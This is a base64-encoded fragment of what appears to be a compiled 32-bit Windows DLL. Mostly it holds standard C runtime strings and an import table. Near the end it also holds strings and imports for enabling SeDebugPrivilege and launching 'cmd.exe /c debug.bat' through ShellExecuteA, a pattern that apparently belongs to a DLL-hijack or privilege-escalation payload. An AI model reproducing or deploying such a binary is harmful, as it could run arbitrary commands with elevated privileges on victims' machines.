kAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAAAAAAAAAAAAAAAAAAisAENA4ABDhVwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJibABDwmwAQ+IAAEJAUABAZKQAQYmFkIGFsbG9jYXRpb24AAEsARQBSAE4ARQBMADMAMgAuAEQATABMAAAAAABGbHNGcmVlAEZsc1NldFZhbHVlAEZsc0dldFZhbHVlAEZsc0FsbG9jAAAAAENvckV4aXRQcm9jZXNzAABtAHMAYwBvAHIAZQBlAC4AZABsAGwAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADACAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACTAADACAAAAAAAAAC0AgDACAAAAAAAAAC1AgDACAAAAAAAAAADAAAACQAAAJAAAAAMAAAAeIEAEMQpABAZKQAQVW5rbm93biBleGNlcHRpb24AAACMgQAQICoAEGNzbeABAAAAAAAAAAAAAAADAAAAIAWTGQAAAAAAAAAASABIADoAbQBtADoAcwBzAAAAAABkAGQAZABkACwAIABNAE0ATQBNACAAZABkACwAIAB5AHkAeQB5AAAATQBNAC8AZABkAC8AeQB5AAAAAABQAE0AAAAAAEEATQAAAAAARABlAGMAZQBtAGIAZQByAAAAAABOAG8AdgBlAG0AYgBlAHIAAAAAAE8AYwB0AG8AYgBlAHIAAABTAGUAcAB0AGUAbQBiAGUAcgAAAEEAdQBnAHUAcwB0AAAAAABKAHUAbAB5AAAAAABKAHUAbgBlAAAAAABBAHAAcgBpAGwAAABNAGEAcgBjAGgAAABGAGUAYgByAHUAYQByAHkAAAAAAEoAYQBuAHUAYQByAHkAAABEAGUAYwAAAE4AbwB2AAAATwBjAHQAAABTAGUAcAAAAEEAdQBnAAAASgB1AGwAAABKAHUAbgAAAE0AYQB5AAAAQQBwAHIAAABNAGEAcgAAAEYAZQBiAAAASgBhAG4AAABTAGEAdAB1AHIAZABhAHkAAAAAAEYAcgBpAGQAYQB5AAAAAABUAGgAdQByAHMAZABhAHkAAAAAAFcAZQBkAG4AZQBzAGQAYQB5AAAAVAB1AGUAcwBkAGEAeQAAAE0AbwBuAGQAYQB5AAAAAABTAHUAbgBkAGEAeQAAAAAAUwBhAHQAAABGAHIAaQAAAFQAaAB1AAAAVwBlAGQAAABUAHUAZQAAAE0AbwBuAAAAUwB1AG4AAABISDptbTpzcwAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AE1NL2RkL3l5AAAAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVicnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAFMASQBOAEcAIABlAHIAcgBvAHIADQAKAAAAAABEAE8ATQBBAEkATgAgAGUAcgByAG8AcgANAAoAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAAgAAACBuABAIAAAAyG0AEAkAAABwbQAQCgAAAChtABAQAAAA0GwAEBEAAABwbAAQEgAAAChsABATAAAA0GsAEBgAAABgawAQGQAAABBrABAaAAAAoGoAEBsAAAAwagAQHAAAAOBpABAeAAAAoG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RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZABfX3Jlc3RyaWN0AABfX3B0cjY0AF9fZWFiaQAAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAAMfgAQBH4AEPh9ABDsfQAQ4H0AENR9ABDIfQAQwH0AELh9ABCsfQAQoH0AEJ19ABCYfQAQkH0AEIx9ABCIfQAQhH0AEIB9ABB8fQAQeH0AEHR9ABBofQAQZH0AEGB9ABBcfQAQWH0AEFR9ABBQfQAQTH0AEEh9ABBEfQAQQH0AEDx9ABA4fQAQNH0AEDB9ABAsfQAQKH0AECR9ABAgfQAQHH0AEBh9ABAUfQAQEH0AEAx9ABAIfQAQBH0AEAB9ABD8fAAQ+HwAEPR8ABDwfAAQ7HwAEOB8ABDUfAAQzHwAEMB8ABCofAAQnHwAEIh8ABBofAAQSHwAECh8ABAIfAAQ6HsAEMR7ABCoewAQhHsAEGR7ABA8ewAQIHsAEBB7ABAMewAQBHsAEPR6ABDQegAQyHoAELx6ABCsegAQkHoAEHB6ABBIegAQIHoAEPh5ABDMeQAQsHkAEIx5ABBoeQAQPHkAEBB5ABD0eAAQnX0AEOB4ABDEeAAQsHgAEJB4ABB0eAAQAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAL2MgZGVidWcuYmF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAEOCBABADAAAAAAAAAAAAAAAAAAAACJAAEAyBABAAAAAAAAAAAAIAAAAcgQAQKIEAEESBABAAAAAACJAAEAEAAAAAAAAA/////wAAAABAAAAADIEAECSQABAAAAAAAAAAAP////8AAAAAQAAAAGCBABAAAAAAAAAAAAEAAABwgQAQRIEAEAAAAAAAAAAAAAAAAAAAAAAkkAAQYIEAEAAAAAAAAAAAAAAAAJCQABCggQAQAAAAAAAAAAABAAAAsIEAELiBABAAAAAAkJAAEAAAAAAAAAAA/////wAAAABAAAAAoIEAEAAAAAAAAAAAAAAAAGAlAADwQwAAEFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA2REAEAAAAAD+////AAAAANT///8AAAAA/v///zkTABBKEwAQAAAAAIUUABAAAAAATIIAEAIAAABYggAQdIIAEAAAAAAIkAAQAAAAAP////8AAAAADAAAALcUABAAAAAAJJAAEAAAAAD/////AAAAAAwAAADrKQAQ/v///wAAAADY////AAAAAP7///8AAAAAcxYAEP7///8AAAAAghYAEP7///8AAAAA2P///wAAAAD+////AAAAADUYABD+////AAAAAEEYABD+////AAAAAMD///8AAAAA/v///wAAAAC9HQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGkrABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADi4AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3MQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD40ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAlzgAEAAAAAD+////AAAAANj///8AAAAA/v///5I6ABCWOgAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAH88ABAAAAAA/v///wAAAADY////AAAAAP7///+7PwAQzj8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAZRQAQfIQAAAAAAAAAAAAAloUAABBgAABshAAAAAAAAAAAAADohQAAAGAAAGSFAAAAAAAAAAAAAAaGAAD4YAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQhQAAuIUAAKSFAAAAAAAAiIUAAICFAABshQAAEoYAACiGAAA4hgAASoYAAF6GAAB6hgAAmIYAAKyGAAC8hgAAyIYAANaGAADkhgAA7oYAAAaHAAAahwAAKocAADqHAABShwAAZIcAAHCHAAB+hwAAkIcAAKCHAADIhwAA1ocAAOiHAAAAiAAAFogAADCIAABGiAAAYIgAAG6IAAB8iAAAlogAAKaIAAC8iAAA1ogAAOKIAAD0iAAADIkAACSJAAAwiQAAOokAAEaJAABYiQAAZokAAHaJAACCiQAAmIkAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAwAFHZXRDdXJyZW50UHJvY2VzcwCyBFNsZWVwAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAEFEVkFQSTMyLmRsbAAAHgFTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAMUBR2V0Q3VycmVudFRocmVhZElkAADKAERlY29kZVBvaW50ZXIAhgFHZXRDb21tYW5kTGluZUEAwARUZXJtaW5hdGVQcm9jZXNzAADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudADqAEVuY29kZVBvaW50ZXIAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQDvAkludGVybG9ja2VkSW5jcmVtZW50AAAYAkdldE1vZHVsZUhhbmRsZVcAAHMEU2V0TGFzdEVycm9yAAACAkdldExhc3RFcnJvcgAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAARQJHZXRQcm9jQWRkcmVzcwAAzwJIZWFwRnJlZQAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AEwJHZXRNb2R1bGVGaWxlTmFtZUEAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAEQVXaWRlQ2hhclRvTXVsdGlCeXRlANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAzQJIZWFwQ3JlYXRlAADOAkhlYXBEZXN0cm95AKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAkwJHZXRUaWNrQ291bnQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAMsCSGVhcEFsbG9jALEDUmFpc2VFeGNlcHRpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAHIBR2V0Q1BJbmZvAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQDSAkhlYXBSZUFsbG9jAD8DTG9hZExpYnJhcnlXAAAlBVdyaXRlRmlsZQAUAkdldE1vZHVsZUZpbGVOYW1lVwAAGARSdGxVbndpbmQA1AJIZWFwU2l6ZQAALQNMQ01hcFN0cmluZ1cAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE7mQLuxGb9EjGIAEAAAAAAuP0FWYmFkX2FsbG9jQHN0ZEBAAIxiABAAAAAALj9BVmV4Y2VwdGlvbkBzdGRAQAD///////////////+ACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIxiABAAAAAALj9BVnR5cGVfaW5mb0BAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAA/GUAEPhlABD0ZQAQ8GUAEOxlABDoZQAQ5GUAENxlABDUZQAQzGUAEMBlABC0ZQAQrGUAEKBlABCcZQAQmGUAEJRlABCQZQAQjGUAEIhlABCEZQAQgGUAEHxlABB4ZQAQdGUAEHBlABBoZQAQXGUAEFRlABBMZQAQjGUAEERlABA8ZQAQNGUAEChlABAgZQAQFGUAEAhlABAEZQAQAGUAEPRkABDgZAAQ1GQAEAkEAAABAAAAAAAAAMxkABDEZAAQvGQAELRkABCsZAAQpGQAEJxkABCMZAAQfGQAEGxkABBYZAAQRGQAEDRkABAgZAAQGGQAEBBkABAIZAAQAGQAEPhjABDwYwAQ6GMAEOBjABDYYwAQ0GMAEMhjABDAYwAQsGMAEJxjABCQYwAQhGMAEPhjABB4YwAQbGMAEFxjABBIYwAQOGMAECRjABAQYwAQCGMAEABjABDsYgAQxGIAELBiABAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA